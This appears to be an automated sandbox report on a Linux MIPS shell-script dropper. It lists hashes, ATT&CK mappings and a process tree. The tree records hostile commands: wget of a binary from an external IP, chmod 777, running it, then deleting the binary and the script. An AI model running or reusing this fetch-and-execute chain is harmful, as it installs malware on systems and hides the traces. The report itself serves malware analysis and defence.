37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
12/08/2026, 18:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
o.sh
Size 4KB
Sample260812-wwqeaascmg
SHA256 37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc
MD5 a55e33eb6ab489431ae95ec26b64f3f8
SHA1 9884b7f0b573e2e8a0d84bd89ab50dd71feb35bd
SHA512 ec9cf25f2a3b5276be45d7dfe272bc3488fb8453dd64eb0a05f8b5e8ef7d8203d79d6f5b1f071c86135acf9949950447c740642c845446389122483097272f5e
SSDEEP 96:BNFbsjjmb3xyrdc+ZNzp3oOUZ5dq8f/R4RZ0SrPWUXVuqPwat:kcnIukWUr
TLSH
T102B1F38A13921C703DE299673265878C3187B0F756ED6F20F9CCF9A64BACE14E421367
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
739	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/sys64.mips	740	o.sh

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
724	wget
740	sys64.mips
742	rm
721	rm

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sys64.mips	wget

/tmp/o.sh
/tmp/o.sh
1⤵
- Executes dropped EXE
PID:715
- /bin/uname
  uname -s
  2⤵
  PID:717
- /bin/uname
  uname -m
  2⤵
  PID:719
- /bin/rm
  rm -rf sys64.mips
  2⤵
  - System Network Configuration Discovery
  PID:721
- /usr/bin/wget
  wget http://62.84.172.106/sys64.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod 777 sys64.mips
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/sys64.mips
  ./sys64.mips .mips
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/rm
  rm -rf sys64.mips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/rm
  rm -f /tmp/o.sh
  2⤵
  PID:744

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sys64.mips

Path /tmp/sys64.mips
Size 578KB
SHA256 f20f3513737175838e31b0b8008201a1954fed7fa8e52aa663b36a510cd86a4f
MD5 eb37ff96fad0f721f4cc0b40a8bc02d1
SHA1 8372e60f7a85db01c66a60158d660d816406b5db
SHA512 79c837a45bcbcb5761106fbb2d02e761dbfb52a93a7002dcab134d43ddf0f0dd3fa9b0a4ad951f48e44ddbae4d64db70e789d4c5323e467ad576f03e35b1a4ea
SSDEEP 6144:Sidg6k7TrQss4n4JsO9/cofuzDcIjQIlpuzvjkKMRA3pm5xJg85XlhQ6wRMzAxLn:SidvkXr57ouuzMb6UXbQRhgV/y
TLSH
T1B5C4B60E6D228F7DF67483358BF74A30D26E63C613E2C685D1ACD1151E6428EA91FB6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download